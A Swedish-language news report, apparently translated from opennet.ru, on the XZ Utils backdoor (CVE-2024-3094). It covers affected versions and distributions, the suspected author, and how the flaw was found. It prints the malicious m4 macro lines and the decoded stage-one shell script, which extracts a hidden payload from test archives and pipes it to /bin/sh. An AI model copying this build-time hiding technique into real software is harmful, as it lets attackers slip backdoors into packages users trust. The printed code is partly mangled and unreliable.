I paketet XZ Utils, som inkluderar liblzma-biblioteket och verktyg för att arbeta med komprimerade filer i formatet ".xz", har en bakdörr identifierats (CVE-2024-3094) som gör det möjligt att fÄnga och modifiera data som hanteras av applikationer relaterade till liblzma-biblioteket. Bakdörrens huvudmÄl Àr OpenSSH-servern, som i vissa distributioner Àr kopplad till libsystemd-biblioteket, vilket i sin tur anvÀnder liblzma. Att koppla sshd till det sÄrbara biblioteket gör det möjligt för angripare att fÄ Ätkomst till SSH-servern utan autentisering.
Bakdörren fanns i de officiella versionerna 5.6.0 och 5.6.1, som publicerades den 24 februari och 9 mars, och som hann komma med i vissa distributioner och arkiv, exempelvis Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide och 40-beta, openSUSE factory och tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Alla anvÀndare av versionerna xz 5.6.0 och 5.6.1 rekommenderas att omedelbart ÄtergÄ till version 5.4.6.
Bland de faktorer som mildrar problemet kan nÀmnas att versionen av liblzma med bakdörren inte lyckades inkluderas i stabila distributioner av större operativsystem, men pÄverkade openSUSE Tumbleweed och Fedora 40-beta. Arch Linux och Gentoo anvÀnde den sÄrbara versionen av zx, men Àr inte sÄrbara för attacken, eftersom de inte tillÀmpar patchen för openssh som stöder systemd-notify, vilket leder till att sshd kopplas till liblzma. Bakdörren pÄverkar endast system med x86_64 arkitektur baserade pÄ Linux-kÀrnan och C-biblioteket Glibc.
Koden för att aktivera bakdörren var gömd i m4-makron frÄn filen build-to-host.m4, som anvÀndes av automake-verktyget vid kompilering. Vid kompileringen skapades en objektfil med skadlig kod genom att utföra komplicerade obfuskeringoperationer baserade pÄ arkiv (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), som anvÀndes för att testa korrektheten. Dessa skadliga objektfiler inkluderades i liblzma-biblioteket och Àndrade logiken i vissa av dess funktioner. M4-makron som aktiverade bakdörren ingick i tar-arkiven för utgÄvorna men saknades i Git-repositoryt. Vid denna tidpunkt fanns de skadliga testarkiven i repositoryt, det vill sÀga den som införde bakdörren hade Ätkomst bÄde till repositoryt och till processerna för att skapa utgÄvor.
NÀr liblzma anvÀnds i applikationer kunde skadliga Àndringar anvÀndas för att fÄnga eller modifiera data samt pÄverka funktionen av sshd. Specifikt ersatte den skadliga koden funktionen RSA_public_decrypt för att kringgÄ autentiseringsprocessen i sshd. Bakdörren innehöll skydd mot upptÀckte och visade sig inte nÀr miljövariablerna LANG och TERM var instÀllda (d.v.s. vid körning av processen i terminalen) och nÀr miljövariablerna LD_DEBUG och LD_PROFILE inte var instÀllda, och aktiverades endast vid körning av exekverbara filen \/usr\sbin\/sshd. Bakdörren hade ocksÄ medel för att upptÀcka körning i debug-miljöer.
Specifikt anvĂ€ndes konstruktioner i filen m4\/build-to-host.m4 gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir\/ 2>\/dev\/null` ⊠gl_[$1]_config=âsed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>\/dev\/nullâ
I den första konstruktionen hittade operationen grep filen tests\/files\/bad-3-corrupt_lzma2.xz, vars uppackning gav följande skript: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir=»..\/..\/$srcdir» fi export i=»((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)»;(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw âlzma1 -dc|\/bin\/sh ####World####
Hur angripare lyckades fĂ„ tillgĂ„ng till infrastrukturen för projektet xz Ă€r fortfarande oklart. Det Ă€r ocksĂ„ oklart hur mĂ„nga anvĂ€ndare och projekt som har kommit att komprometteras till följd av backdoor-aktiviteten. Den misstĂ€nkta författaren till backdoor:en (JiaT75 â Jia Tan), som lade upp arkiv med skadlig kod i ett förrĂ„d, kommunicerade med Fedora-utvecklare och skickade pull-begĂ€rningar till Debian relaterade till övergĂ„ngen av distributionerna till version xz 5.6.0, och vĂ€ckte ingen misstanke, dĂ„ han har deltagit i utvecklingen av xz under de senaste tvĂ„ Ă„ren och Ă€r den nĂ€st viktigaste utvecklaren sett till antalet Ă€ndringar. Utöver projektet xz har den misstĂ€nkta författaren till backdoor:en Ă€ven deltagit i utvecklingen av paketen xz-java och xz-embedded. Dessutom blev Jia Tan för nĂ„gra dagar sedan inkluderad bland maintainerna för projektet XZ Embedded, som anvĂ€nds i Linux-kĂ€rnan.
Den skadliga Àndringen upptÀcktes efter analys av överdriven CPU-anvÀndning och fel rapporterade av valgrind nÀr man anslöt via ssh till system baserade pÄ Debian sid. Det Àr anmÀrkningsvÀrt att Àndringar, förberedda av den misstÀnkta författaren till backdoor:en som svar pÄ klagomÄl om prestandaförsÀmring och kraschande sshd, inkluderades i versionen xz 5.6.1, som slÀpptes efter uppdateringen till version zx 5.6.0 med backdoor:en. Dessutom gjorde Jia Tan förra Äret Àndringar som inte var förenliga med lÀget för kontroll "-fsanitize=address", vilket ledde till att detta stÀngdes av under fuzzing-testning.
KĂ€lla: opennet.ru
